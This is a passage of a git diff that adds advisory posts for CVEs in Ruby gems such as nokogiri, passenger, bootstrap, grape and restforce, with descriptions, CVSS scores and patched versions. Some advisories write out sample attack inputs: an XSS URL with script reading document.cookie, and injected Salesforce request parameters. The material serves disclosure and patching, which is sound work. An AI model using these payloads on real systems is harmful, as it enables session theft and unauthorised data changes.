Nokogiri's vendored libraries from similar vulnerabilities. + + If you're offended by what happened here, I'd kindly ask that you + comment on the upstream bug report here: + + https://bugzilla.gnome.org/show_bug.cgi?id=769760 + cvss_v3: 6.1 + patched_versions: + - ">= 1.8.3" + related: + cve: + - 2018-3740 + - 2018-3741 + url: + - https://github.com/GNOME/libxml2/commit/960f0e2 + - https://bugzilla.gnome.org/show_bug.cgi?id=769760 +--- diff --git a/advisories/_posts/2018-04-13-CVE-2017-18258.md b/advisories/_posts/2018-04-13-CVE-2017-18258.md new file mode 100644 index 00000000..22b56e56 --- /dev/null +++ b/advisories/_posts/2018-04-13-CVE-2017-18258.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2017-18258 (nokogiri): Moderate severity vulnerability that affects nokogiri' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2017-18258 + ghsa: 882p-jqgm-f45g + url: https://git.gnome.org/browse/libxml2/commit/?id=e2a9122b8dde53d320750451e9907a7dcb2ca8bb + title: Moderate severity vulnerability that affects nokogiri + date: 2018-04-13 + description: |- + The xz_head function in xzlib.c in libxml2 before 2.9.6 allows remote attackers to cause a denial + of service (memory consumption) via a crafted LZMA file, because the decoder functionality does + not restrict memory usage to what is required for a legitimate file. + + References: + - https://nvd.nist.gov/vuln/detail/CVE-2017-18258 + - https://git.gnome.org/browse/libxml2/commit/?id=e2a9122b8dde53d320750451e9907a7dcb2ca8bb + - https://github.com/advisories/GHSA-882p-jqgm-f45g + - https://kc.mcafee.com/corporate/index?page=content&id=SB10284 + - https://lists.debian.org/debian-lts-announce/2018/09/msg00035.html + - https://lists.debian.org/debian-lts-announce/2020/09/msg00009.html + - https://security.netapp.com/advisory/ntap-20190719-0001/ + - https://usn.ubuntu.com/3739-1/ + cvss_v3: 6.5 + patched_versions: + - ">= 1.8.2" +--- diff --git a/advisories/_posts/2018-04-23-CVE-2019-3881.md b/advisories/_posts/2018-04-23-CVE-2019-3881.md new file mode 100644 index 00000000..01f8b4cf --- /dev/null +++ b/advisories/_posts/2018-04-23-CVE-2019-3881.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2019-3881 (bundler): Insecure path handling in Bundler' +comments: false +categories: +- bundler +advisory: + gem: bundler + cve: 2019-3881 + ghsa: g98m-96g9-wfjq + url: https://github.com/advisories/GHSA-g98m-96g9-wfjq + date: 2018-04-23 + title: Insecure path handling in Bundler + description: |- + Bundler prior to 2.1.0 uses a predictable path in /tmp/, created with + insecure permissions as a storage location for gems, if locations under the user's + home directory are not available. If Bundler is used in a scenario where the user + does not have a writable home directory, an attacker could place malicious code + in this directory that would be later loaded and executed. + cvss_v3: 7.0 + patched_versions: + - ">= 2.1.0" + unaffected_versions: + - "< 1.14.0" +--- diff --git a/advisories/_posts/2018-04-30-CVE-2018-1000539.md b/advisories/_posts/2018-04-30-CVE-2018-1000539.md new file mode 100644 index 00000000..51a173f4 --- /dev/null +++ b/advisories/_posts/2018-04-30-CVE-2018-1000539.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2018-1000539 (json-jwt): Auth tag forgery vulnerability with AES-GCM encrypted + JWT' +comments: false +categories: +- json-jwt +advisory: + gem: json-jwt + cve: 2018-1000539 + ghsa: mj4x-wcxf-hm8x + url: https://github.com/nov/json-jwt/pull/62 + title: Auth tag forgery vulnerability with AES-GCM encrypted JWT + date: 2018-04-30 + description: |- + Ruby's OpenSSL bindings do not check the length of the supplied + authentication tag when decrypting an authenticated encryption mode + such as AES-GCM, leaving this up to the authors of a gem/app to + implement for properly validating the message. + + json-jwt was not checking for the authentication tag length, meaning + that with a one byte tag the JWT would be considered not tampered + with. This means that with an average of 128 (max 256) attempts an + attacker can forge a valid signature. + cvss_v3: 5.3 + unaffected_versions: + - "< 0.5.1" + patched_versions: + - ">= 1.9.4" +--- diff --git a/advisories/_posts/2018-05-03-CVE-2018-3759.md b/advisories/_posts/2018-05-03-CVE-2018-3759.md new file mode 100644 index 00000000..c22878e8 --- /dev/null +++ b/advisories/_posts/2018-05-03-CVE-2018-3759.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2018-3759 (private_address_check): private_address_check Ruby Gem Time-of-check + Time-of-use race condition' +comments: false +categories: +- private_address_check +advisory: + gem: private_address_check + cve: 2018-3759 + ghsa: 2xvj-j3qh-x8c3 + url: https://github.com/jtdowney/private_address_check/commit/4068228187db87fea7577f7020099399772bb147 + title: private_address_check Ruby Gem Time-of-check Time-of-use race condition + date: 2018-05-03 + description: |- + private_address_check ruby gem before 0.5.0 is vulnerable to a time-of-check time-of-use (TOCTOU) + race condition due to the address the socket uses not being checked. DNS entries with a TTL of 0 + can trigger this case where the initial resolution is a public address by the subsequent + resolution is a private address. + patched_versions: + - ">= 0.5.0" +--- diff --git a/advisories/_posts/2018-05-23-CVE-2018-3769.md b/advisories/_posts/2018-05-23-CVE-2018-3769.md new file mode 100644 index 00000000..2cb45a98 --- /dev/null +++ b/advisories/_posts/2018-05-23-CVE-2018-3769.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2018-3769 (grape): ruby-grape Gem has XSS via "format" parameter' +comments: false +categories: +- grape +advisory: + gem: grape + cve: 2018-3769 + ghsa: f599-5m7p-hcpf + url: https://github.com/ruby-grape/grape/issues/1762 + title: ruby-grape Gem has XSS via "format" parameter + date: 2018-05-23 + description: |- + When request on API contains the "format" parameter in GET, the input + value of this parameter is rendered as the web-server responds with + text/html header. + + Example: + http://example.com/api/endpoint?format=%3Cscript%3Ealert(document.cookie)%3C/script%3E + cvss_v3: 6.1 + patched_versions: + - ">= 1.1.0" + related: + url: + - https://github.com/ruby-grape/grape/pull/1763 + - https://github.com/ruby-grape/grape/commit/6876b71efc7b03f7ce1be3f075eaa4e7e6de19af +--- diff --git a/advisories/_posts/2018-05-31-CVE-2018-11627.md b/advisories/_posts/2018-05-31-CVE-2018-11627.md new file mode 100644 index 00000000..520117a0 --- /dev/null +++ b/advisories/_posts/2018-05-31-CVE-2018-11627.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2018-11627 (sinatra): XSS via the 400 Bad Request page' +comments: false +categories: +- sinatra +advisory: + gem: sinatra + cve: 2018-11627 + ghsa: mq35-wqvf-r23c + url: https://github.com/sinatra/sinatra/issues/1428 + title: XSS via the 400 Bad Request page + date: 2018-05-31 + description: |- + Sinatra before 2.0.2 has XSS via the 400 Bad Request page that occurs + upon a params parser exception. + cvss_v3: 6.1 + unaffected_versions: + - "< 2.0.0.beta1" + - "= 2.0.0-alpha" + patched_versions: + - ">= 2.0.2" +--- diff --git a/advisories/_posts/2018-06-12-CVE-2018-12026.md b/advisories/_posts/2018-06-12-CVE-2018-12026.md new file mode 100644 index 00000000..2efd4844 --- /dev/null +++ b/advisories/_posts/2018-06-12-CVE-2018-12026.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2018-12026 (passenger): SpawningKit exploits' +comments: false +categories: +- passenger +advisory: + gem: passenger + cve: 2018-12026 + ghsa: 7cv3-gvmc-8mq5 + url: https://blog.phusion.nl/2018/06/12/passenger-5-3-2-various-security-fixes/ + title: SpawningKit exploits + date: 2018-06-12 + description: |- + During the spawning of a malicious Passenger-managed application, SpawningKit + in Phusion Passenger 5.3.x before 5.3.2 allows such applications to replace + key files or directories in the spawning communication directory with + symlinks. This then could result in arbitrary reads and writes, which in turn + can result in information disclosure and privilege escalation. + cvss_v2: 7.5 + cvss_v3: 9.8 + unaffected_versions: + - "< 5.3.0" + patched_versions: + - ">= 5.3.2" + related: + cve: + - 2018-12027 + - 2018-12028 +--- diff --git a/advisories/_posts/2018-06-12-CVE-2018-12027.md b/advisories/_posts/2018-06-12-CVE-2018-12027.md new file mode 100644 index 00000000..b034d8c9 --- /dev/null +++ b/advisories/_posts/2018-06-12-CVE-2018-12027.md @@ -0,0 +1,34 @@ +--- +layout: advisory +title: 'CVE-2018-12027 (passenger): Insecure Permissions in Phusion Passenger' +comments: false +categories: +- passenger +advisory: + gem: passenger + cve: 2018-12027 + ghsa: whfx-877c-5p28 + url: https://blog.phusion.nl/passenger-5-3-2 + title: Insecure Permissions in Phusion Passenger + date: 2018-06-12 + description: |- + "An Insecure Permissions vulnerability in SpawningKit in Phusion Passenger + 5.3.x before 5.3.2 causes information disclosure in the following situation: given + a Passenger-spawned application process that reports that it listens on a certain + Unix domain socket, if any of the parent directories of said socket are writable + by a normal user that is not the application''s user, then that non-application + user can swap that directory with something else, resulting in traffic being redirected + to a non-application user''s process through an alternative Unix domain socket." + cvss_v2: 6.5 + cvss_v3: 8.8 + unaffected_versions: + - "< 5.3.0" + patched_versions: + - ">= 5.3.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2018-12027 + - https://blog.phusion.nl/passenger-5-3-2 + - https://security.gentoo.org/glsa/201807-02 + - https://github.com/advisories/GHSA-whfx-877c-5p28 +--- diff --git a/advisories/_posts/2018-06-12-CVE-2018-12028.md b/advisories/_posts/2018-06-12-CVE-2018-12028.md new file mode 100644 index 00000000..9d1143eb --- /dev/null +++ b/advisories/_posts/2018-06-12-CVE-2018-12028.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2018-12028 (passenger): Incorrect Access Control in Phusion Passenger' +comments: false +categories: +- passenger +advisory: + gem: passenger + cve: 2018-12028 + ghsa: jjhj-8gx7-x836 + url: https://blog.phusion.nl/passenger-5-3-2 + title: Incorrect Access Control in Phusion Passenger + date: 2018-06-12 + description: |- + An Incorrect Access Control vulnerability in SpawningKit in Phusion Passenger + 5.3.x before 5.3.2 allows a Passenger-managed malicious application, upon spawning + a child process, to report an arbitrary different PID back to Passenger's process + manager. If the malicious application then generates an error, it would cause Passenger's + process manager to kill said reported arbitrary PID. + cvss_v2: 6.8 + cvss_v3: 7.8 + unaffected_versions: + - "< 5.3.0" + patched_versions: + - ">= 5.3.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2018-12028 + - https://blog.phusion.nl/passenger-5-3-2 + - https://security.gentoo.org/glsa/201807-02 + - https://github.com/advisories/GHSA-jjhj-8gx7-x836 +--- diff --git a/advisories/_posts/2018-06-12-CVE-2018-12029.md b/advisories/_posts/2018-06-12-CVE-2018-12029.md new file mode 100644 index 00000000..f78f2557 --- /dev/null +++ b/advisories/_posts/2018-06-12-CVE-2018-12029.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2018-12029 (passenger): CHMOD race vulnerability' +comments: false +categories: +- passenger +advisory: + gem: passenger + cve: 2018-12029 + ghsa: jjcj-fgfm-9g9r + url: https://blog.phusion.nl/2018/06/12/passenger-5-3-2-various-security-fixes/ + title: CHMOD race vulnerability + date: 2018-06-12 + description: |- + The file system access race condition allows for local privilege escalation + and affects the Nginx module for Passenger versions 5.3.1, all the way back + to 3.0.0 (the chown command entered the code in 2010). + + The vulnerability was exploitable only when running a non-standard + `passenger_instance_registry_dir`, via a race condition where after a file + was created, there was a window in which it could be replaced with a symlink + before it was chowned via the path and not the file descriptor. + + If the symlink target was to a file which would be executed by root such as + root's crontab file, then privilege escalation was possible. + cvss_v2: 4.4 + cvss_v3: 7.0 + unaffected_versions: + - "< 3.0.0" + patched_versions: + - ">= 5.3.2" +--- diff --git a/advisories/_posts/2018-06-14-CVE-2018-1000544.md b/advisories/_posts/2018-06-14-CVE-2018-1000544.md new file mode 100644 index 00000000..41f60a5e --- /dev/null +++ b/advisories/_posts/2018-06-14-CVE-2018-1000544.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2018-1000544 (rubyzip): Directory Traversal in rubyzip' +comments: false +categories: +- rubyzip +advisory: + gem: rubyzip + cve: 2018-1000544 + ghsa: vqcq-mrmw-mcmg + url: https://github.com/rubyzip/rubyzip/issues/369 + title: Directory Traversal in rubyzip + date: 2018-06-14 + description: |- + rubyzip version 1.2.1 and earlier contains a Directory Traversal vulnerability + in Zip::File component that can result in write arbitrary files to the filesystem. + If a site allows uploading of .zip files, an attacker can upload a malicious file + which contains symlinks or files with absolute pathnames "../" to write arbitrary + files to the filesystem. + cvss_v3: 9.8 + patched_versions: + - ">= 1.2.2" + related: + cve: + - 2017-5946 + url: + - https://security-tracker.debian.org/tracker/CVE-2018-1000544 +--- diff --git a/advisories/_posts/2018-06-19-CVE-2018-3760.md b/advisories/_posts/2018-06-19-CVE-2018-3760.md new file mode 100644 index 00000000..1d85d233 --- /dev/null +++ b/advisories/_posts/2018-06-19-CVE-2018-3760.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2018-3760 (sprockets): Path Traversal in Sprockets' +comments: false +categories: +- sprockets +advisory: + gem: sprockets + cve: 2018-3760 + ghsa: pr3h-jjhj-573x + url: https://groups.google.com/forum/#!topic/ruby-security-ann/2S9Pwz2i16k + title: Path Traversal in Sprockets + date: 2018-06-19 + description: |- + Specially crafted requests can be used to access files that exist on + the filesystem that is outside an application's root directory, when the + Sprockets server is used in production. + + All users running an affected release should either upgrade or use one of the work arounds immediately. + + Workaround: + In Rails applications, work around this issue, set `config.assets.compile = false` and + `config.public_file_server.enabled = true` in an initializer and precompile the assets. + + This work around will not be possible in all hosting environments and upgrading is advised. + cvss_v3: 7.5 + patched_versions: + - ">= 2.12.5, < 3.0.0" + - ">= 3.7.2, < 4.0.0" + - ">= 4.0.0.beta8" +--- diff --git a/advisories/_posts/2018-06-22-CVE-2018-1000201.md b/advisories/_posts/2018-06-22-CVE-2018-1000201.md new file mode 100644 index 00000000..0b114d73 --- /dev/null +++ b/advisories/_posts/2018-06-22-CVE-2018-1000201.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2018-1000201 (ffi): ruby-ffi DDL loading issue on Windows OS' +comments: false +categories: +- ffi +advisory: + gem: ffi + cve: 2018-1000201 + ghsa: 2gw2-8q9w-cw8p + url: https://github.com/ffi/ffi/releases/tag/1.9.24 + title: ruby-ffi DDL loading issue on Windows OS + date: 2018-06-22 + description: |- + ruby-ffi version 1.9.23 and earlier has a DLL loading issue which can be + hijacked on Windows OS, when a Symbol is used as DLL name instead of a String + This vulnerability appears to have been fixed in v1.9.24 and later. + cvss_v2: 6.8 + cvss_v3: 7.8 + patched_versions: + - ">= 1.9.24" + related: + url: + - https://github.com/ffi/ffi/commit/09e0c6076466b4383da7fa4e13f714311109945a + - https://github.com/ffi/ffi/commit/e0fe486df0e117ed67b0282b6ada04b7214ca05c +--- diff --git a/advisories/_posts/2018-07-03-CVE-2018-14040.md b/advisories/_posts/2018-07-03-CVE-2018-14040.md new file mode 100644 index 00000000..2ef47940 --- /dev/null +++ b/advisories/_posts/2018-07-03-CVE-2018-14040.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2018-14040 (bootstrap): XSS vulnerabilities via data-parent, data-target, + data-container in bootstrap' +comments: false +categories: +- bootstrap +advisory: + gem: bootstrap + cve: 2018-14040 + ghsa: 3wqf-4x89-9g79 + url: https://blog.getbootstrap.com/2018/07/12/bootstrap-4-1-2/ + title: XSS vulnerabilities via data-parent, data-target, data-container in bootstrap + date: 2018-07-03 + description: |- + In Bootstrap before 4.1.2, XSS is possible in collapse data-parent + attribute (CVE-2018-14040), data-target property of scrollspy + (CVE-2018-14041), data-container property of tooltip (CVE-2018-14042) + cvss_v2: 4.3 + cvss_v3: 6.1 + patched_versions: + - ">= 4.1.2" + related: + cve: + - 2018-14041 + - 2018-14042 + url: + - https://nvd.nist.gov/vuln/detail/cve-2018-14040 + - https://github.com/twbs/bootstrap/issues/26423 + - https://github.com/twbs/bootstrap/pull/26630 + - https://github.com/advisories/GHSA-3wqf-4x89-9g79 +--- diff --git a/advisories/_posts/2018-07-11-CVE-2018-1000211.md b/advisories/_posts/2018-07-11-CVE-2018-1000211.md new file mode 100644 index 00000000..6723a249 --- /dev/null +++ b/advisories/_posts/2018-07-11-CVE-2018-1000211.md @@ -0,0 +1,44 @@ +--- +layout: advisory +title: 'CVE-2018-1000211 (doorkeeper): Doorkeeper gem does not revoke token for public + clients' +comments: false +categories: +- doorkeeper +advisory: + gem: doorkeeper + cve: 2018-1000211 + ghsa: 694m-jhr9-pf77 + url: https://blog.justinbull.ca/cve-2018-1000211-public-apps-cant-revoke-tokens-in-doorkeeper/ + title: Doorkeeper gem does not revoke token for public clients + date: 2018-07-11 + description: |- + Any OAuth application that uses public/non-confidential authentication when + interacting with Doorkeeper is unable to revoke its tokens when calling the + revocation endpoint. + + A bug in the token revocation API would cause it to attempt to authenticate + the public OAuth client as if it was a confidential app. Because of this, the + token is never revoked. + + The impact of this is the access or refresh token is not revoked, leaking + access to protected resources for the remainder of that token's lifetime. + + If Doorkeeper is used to facilitate public OAuth apps and leverage token + revocation functionality, upgrade to the patched versions immediately. + + Credit to Roberto Ostinelli for discovery, Justin Bull for the fixes. + + DWF has assigned CVE-2018-1000211. + cvss_v3: 7.5 + unaffected_versions: + - "< 4.2.0" + patched_versions: + - ">= 4.4.0" + - ">= 5.0.0.rc2" + related: + url: + - https://github.com/doorkeeper-gem/doorkeeper/issues/891 + - https://github.com/doorkeeper-gem/doorkeeper/pull/1119 + - https://github.com/doorkeeper-gem/doorkeeper/pull/1120 +--- diff --git a/advisories/_posts/2018-07-26-CVE-2018-3721.md b/advisories/_posts/2018-07-26-CVE-2018-3721.md new file mode 100644 index 00000000..66d353b9 --- /dev/null +++ b/advisories/_posts/2018-07-26-CVE-2018-3721.md @@ -0,0 +1,39 @@ +--- +layout: advisory +title: 'CVE-2018-3721 (lodash-rails): Prototype Pollution in lodash' +comments: false +categories: +- lodash-rails +advisory: + gem: lodash-rails + cve: 2018-3721 + ghsa: fvqr-27wr-82fm + url: https://github.com/advisories/GHSA-fvqr-27wr-82fm + title: Prototype Pollution in lodash + date: 2018-07-26 + description: |- + Versions of `lodash` before 4.17.5 are vulnerable to + prototype pollution. + + The vulnerable functions are 'defaultsDeep', 'merge', and + 'mergeWith' which allow a malicious user to modify the + prototype of `Object` via `__proto__` causing the addition + or modification of an existing property that will exist + on all objects. + + ## Recommendation + + Update to version 4.17.5 or later." + cvss_v2: 4.0 + cvss_v3: 6.5 + patched_versions: + - ">= 4.17.5" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2018-3721 + - https://hackerone.com/reports/310443 + - https://www.npmjs.com/advisories/577 + - https://github.com/lodash/lodash/commit/d8e069cc3410082e44eb18fcf8e7f3d08ebe1d4a + - https://security.netapp.com/advisory/ntap-20190919-0004 + - https://github.com/advisories/GHSA-fvqr-27wr-82fm +--- diff --git a/advisories/_posts/2018-07-27-CVE-2018-3777.md b/advisories/_posts/2018-07-27-CVE-2018-3777.md new file mode 100644 index 00000000..e9cc57b9 --- /dev/null +++ b/advisories/_posts/2018-07-27-CVE-2018-3777.md @@ -0,0 +1,45 @@ +--- +layout: advisory +title: 'CVE-2018-3777 (restforce): Insufficient URI encoding in restforce' +comments: false +categories: +- restforce +advisory: + gem: restforce + cve: 2018-3777 + ghsa: 534w-937m-v7x3 + url: https://github.com/restforce/restforce/pull/392 + title: Insufficient URI encoding in restforce + date: 2018-07-27 + description: |- + A flaw in how restforce constructs URL's may allow an attacker to inject + additional parameters into Salesforce API requests. + + Impact + ------ + This flaw is only exploitable in applications that pass user input directly + to restforce's select, find, describe, update, upsert, and destroy methods. + Vulnerable code might look like: + + ```ruby + client.select('SomeSalesForceObject', params[:some-id], + ...) + ``` + + In such an application, attackers could pass `0016000000MRatd/describe` + as a request parameter, causing the server to make a request to a different + endpoint than the server is designed to handle. Since the Salesforce REST + API supports overriding HTTP methods via a request parameter, an attacker + could also cause the client's `select()` method to modify data, by passing + `0016000000MRatd/?_HttpMethod=PATCH&other-query-params=...`. + + Workarounds + ------ + If possible, applications should track salesforce IDs internally, rather than + passing user-supplied IDs to salesforce. Such practice mitigates this + vulnerability, and in general is desirable for ensuring strong access control. + cvss_v3: 9.8 + patched_versions: + - "~> 2.5.4" + - ">= 3.0.0" +--- diff --git a/advisories/_posts/2018-08-09-CVE-2018-3779.md b/advisories/_posts/2018-08-09-CVE-2018-3779.md new file mode 100644 index 00000000..7829eecc --- /dev/null +++ b/advisories/_posts/2018-08-09-CVE-2018-3779.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2018-3779 (active-support): Malicious ruby gem - active-support' +comments: false +categories: +- active-support +advisory: + gem: active-support + cve: 2018-3779 + ghsa: 2j55-pcw5-x4h2 + url: https://hackerone.com/reports/392311 + title: Malicious ruby gem - active-support + date: 2018-08-09 + description: |- + The gem duplicates official `activesupport` (no hyphen) code, but adds a + compiled extension. The extension attempts to resolve a base64 encoded + domain, downloads a payload, and executes. + + Replace this gem with the official `activesupport` gem. + related: + url: + - https://github.com/rubygems/rubygems.org/pull/1762 +--- diff --git a/advisories/_posts/2018-09-13-CVE-2018-14041.md b/advisories/_posts/2018-09-13-CVE-2018-14041.md new file mode 100644 index 00000000..3a08dce7 --- /dev/null +++ b/advisories/_posts/2018-09-13-CVE-2018-14041.md @@ -0,0 +1,35 @@ +--- +layout: advisory +title: 'CVE-2018-14041 (bootstrap): Bootstrap vulnerable to Cross-Site Scripting (XSS)' +comments: false +categories: +- bootstrap +advisory: + gem: bootstrap + cve: 2018-14041 + ghsa: pj7m-g53m-7638 + url: https://blog.getbootstrap.com/2018/07/12/bootstrap-4-1-2 + title: Bootstrap vulnerable to Cross-Site Scripting (XSS) + date: 2018-09-13 + description: |- + In Bootstrap before 4.1.2, XSS is possible in the collapse + data-parent attribute. + cvss_v3: 6.1 + patched_versions: + - ">= 4.1.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2018-14041 + - https://github.com/twbs/bootstrap/issues/26625 + - https://blog.getbootstrap.com/2018/07/12/bootstrap-4-1-2 + - https://github.com/twbs/bootstrap/issues/26423 + - https://github.com/twbs/bootstrap/issues/26628 + - https://github.com/twbs/bootstrap/pull/26630 + - https://github.com/twbs/bootstrap/commit/149096016f70fd815540d62c0989fd99cdc809e0 + - https://github.com/twbs/bootstrap/blob/v3.4.1/js/collapse.js#L140 + - https://lists.debian.org/debian-lts-announce/2018/08/msg00027.html + - https://seclists.org/bugtraq/2019/May/18 + - https://www.oracle.com/security-alerts/cpuApr2021.html + - https://www.tenable.com/security/tns-2021-14 + - https://github.com/advisories/GHSA-pj7m-g53m-7638 +--- diff --git a/advisories/_posts/2018-09-13-CVE-2018-14042.md b/advisories/_posts/2018-09-13-CVE-2018-14042.md new file mode 100644 index 00000000..2e39c1c5 --- /dev/null +++ b/advisories/_posts/2018-09-13-CVE-2018-14042.md @@ -0,0 +1,45 @@ +--- +layout: advisory +title: 'CVE-2018-14042 (bootstrap): Bootstrap Cross-site Scripting vulnerability' +comments: false +categories: +- bootstrap +advisory: + gem: bootstrap + cve: 2018-14042 + ghsa: 7mvr-5x2g-wfc8 + url: https://github.com/twbs/bootstrap/issues/26423 + title: Bootstrap Cross-site Scripting vulnerability + date: 2018-09-13 + description: |- + In Bootstrap before 4.1.2, XSS is possible in the data-container property + of tooltip. This is similar to CVE-2018-14041. + cvss_v3: 6.1 + patched_versions: + - ">= 4.1.2" + related: + cve: + - 2018-14041 + url: + - https://nvd.nist.gov/vuln/detail/CVE-2018-14042 + - https://github.com/twbs/bootstrap/issues/26423 + - https://github.com/twbs/bootstrap/issues/26628 + - https://github.com/twbs/bootstrap/pull/26630 + - https://blog.getbootstrap.com/2018/07/12/bootstrap-4-1-2/ + - https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f@ + - https://lists.apache.org/thread.html/52e0e6b5df827ee7f1e68f7cc3babe61af3b2160f5d74a85469b7b0e@ + - https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442@ + - https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc@ + - https://lists.apache.org/thread.html/r3dc0cac8d856bca02bd6997355d7ff83027dcfc82f8646a29b89b714@ + - https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26@ + - https://seclists.org/bugtraq/2019/May/18 + - https://www.oracle.com/security-alerts/cpuApr2021.html + - http://packetstormsecurity.com/files/156743/OctoberCMS-Insecure-Dependencies.html + - http://seclists.org/fulldisclosure/2019/May/10 + - http://seclists.org/fulldisclosure/2019/May/11 + - http://seclists.org/fulldisclosure/2019/May/13 + - https://github.com/advisories/GHSA-7mvr-5x2g-wfc8 + - https://github.com/twbs/bootstrap/issues/26428 + - https://github.com/twbs/bootstrap/commit/2d90d369bbc2bd2647620246c55cec8c4705e3d0 + - https://www.tenable.com/security/tns-2021-14 +--- diff --git a/advisories/_posts/2018-09-14-CVE-2018-14643.md b/advisories/_posts/2018-09-14-CVE-2018-14643.md new file mode 100644 index 00000000..3358422c --- /dev/null +++ b/advisories/_posts/2018-09-14-CVE-2018-14643.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2018-14643 (smart_proxy_dynflow): smart_proxy_dynflow gem authentication + bypass in Foreman remote execution feature' +comments: false +categories: +- smart_proxy_dynflow +advisory: + gem: smart_proxy_dynflow + cve: 2018-14643 + ghsa: gx5g-xcxj-cx2w + url: https://github.com/theforeman/smart_proxy_dynflow/pull/54 + title: smart_proxy_dynflow gem authentication bypass in Foreman remote execution + feature + date: 2018-09-14 + description: |- + An authentication bypass flaw was found in the smart_proxy_dynflow component + used by Foreman. A malicious attacker can use this flaw to remotely execute arbitrary + commands on machines managed by vulnerable Foreman instances, in a highly privileged + context. + cvss_v2: 10.0 + cvss_v3: 9.8 + patched_versions: + - "~> 0.1.11" + - ">= 0.2.1" +--- diff --git a/advisories/_posts/2018-09-28-CVE-2018-17567.md b/advisories/_posts/2018-09-28-CVE-2018-17567.md new file mode 100644 index 00000000..17619f99 --- /dev/null +++ b/advisories/_posts/2018-09-28-CVE-2018-17567.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2018-17567 (jekyll): Jekyll _config.yml privilege escalation' +comments: false +categories: +- jekyll +advisory: + gem: jekyll + cve: 2018-17567 + ghsa: 4xjh-m3qx-49wc + url: https://jekyllrb.com/news/2018/09/19/security-fixes-for-3-6-3-7-3-8/ + title: Jekyll _config.yml privilege escalation + date: 2018-09-28 + description: |- + Jekyll through 3.6.2, 3.7.x through 3.7.3, and 3.8.x through 3.8.3 allows + attackers to access arbitrary files by specifying a symlink in the "include" key + in the "_config.yml" file. + cvss_v3: 7.5 + patched_versions: + - "~> 3.6.3" + - "~> 3.7.4" + - ">= 3.8.4" +--- diff --git a/advisories/_posts/2018-10-04-CVE-2018-14404.md b/advisories/_posts/2018-10-04-CVE-2018-14404.md new file mode 100644 index 00000000..b9c6bdcf --- /dev/null +++ b/advisories/_posts/2018-10-04-CVE-2018-14404.md @@ -0,0 +1,78 @@ +--- +layout: advisory +title: 'CVE-2018-14404 (nokogiri): Nokogiri gem, via libxml2, is affected by multiple + vulnerabilities' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2018-14404 + ghsa: 6qvp-r6r3-9p7h + url: https://github.com/sparklemotion/nokogiri/issues/1785 + title: Nokogiri gem, via libxml2, is affected by multiple vulnerabilities + date: 2018-10-04 + description: |- + Nokogiri 1.8.5 has been released. + + This is a security and bugfix release. It addresses two CVEs in upstream + libxml2 rated as "medium" by Red Hat, for which details are below. + + If you're using your distro's system libraries, rather than Nokogiri's + vendored libraries, there's no security need to upgrade at this time, + though you may want to check with your distro whether they've patched this + (Canonical has patched Ubuntu packages). Note that these patches are not + yet (as of 2018-10-04) in an upstream release of libxml2. + + Full details about the security update are available in Github Issue #1785. + [#1785]: https://github.com/sparklemotion/nokogiri/issues/1785 + + ----- + + [MRI] Pulled in upstream patches from libxml2 that address CVE-2018-14404 + and CVE-2018-14567. Full details are available in #1785. Note that these + patches are not yet (as of 2018-10-04) in an upstream release of libxml2. + + ----- + + CVE-2018-14404 + + Permalink: + + https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-14404.html + + Description: + + A NULL pointer dereference vulnerability exists in the + xpath.c:xmlXPathCompOpEval() function of libxml2 through 2.9.8 when + parsing an invalid XPath expression in the XPATH_OP_AND or XPATH_OP_OR + case. Applications processing untrusted XSL format inputs with the use of + the libxml2 library may be vulnerable to a denial of service attack due + to a crash of the application + + Canonical rates this vulnerability as "Priority: Medium" + + ----- + + CVE-2018-14567 + + Permalink: + + https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-14567.html + + Description: + + infinite loop in LZMA decompression + + Canonical rates this vulnerability as "Priority: Medium" + cvss_v3: 7.5 + patched_versions: + - ">= 1.8.5" + related: + cve: + - 2018-14567 + url: + - https://groups.google.com/forum/#!msg/ruby-security-ann/uVrmO2HjqQw/Fw3ocLI0BQAJ + - https://gitlab.gnome.org/GNOME/libxml2/commit/a436374994c47b12d5de1b8b1d191a098fa23594 + - https://gitlab.gnome.org/GNOME/libxml2/commit/2240fbf5912054af025fb6e01e26375100275e74 +--- diff --git a/advisories/_posts/2018-10-17-CVE-2018-16395.md b/advisories/_posts/2018-10-17-CVE-2018-16395.md new file mode 100644 index 00000000..5166145a --- /dev/null +++ b/advisories/_posts/2018-10-17-CVE-2018-16395.md @@ -0,0 +1,50 @@ +--- +layout: advisory +title: 'CVE-2018-16395 (openssl): Incorrect value comparison in Ruby openssl' +comments: false +categories: +- openssl +advisory: + gem: openssl + cve: 2018-16395 + ghsa: mmrq-6999-72v8 + url: https://www.ruby-lang.org/en/news/2018/10/17/openssl-x509-name-equality-check-does-not-work-correctly-cve-2018-16395/ + title: Incorrect value comparison in 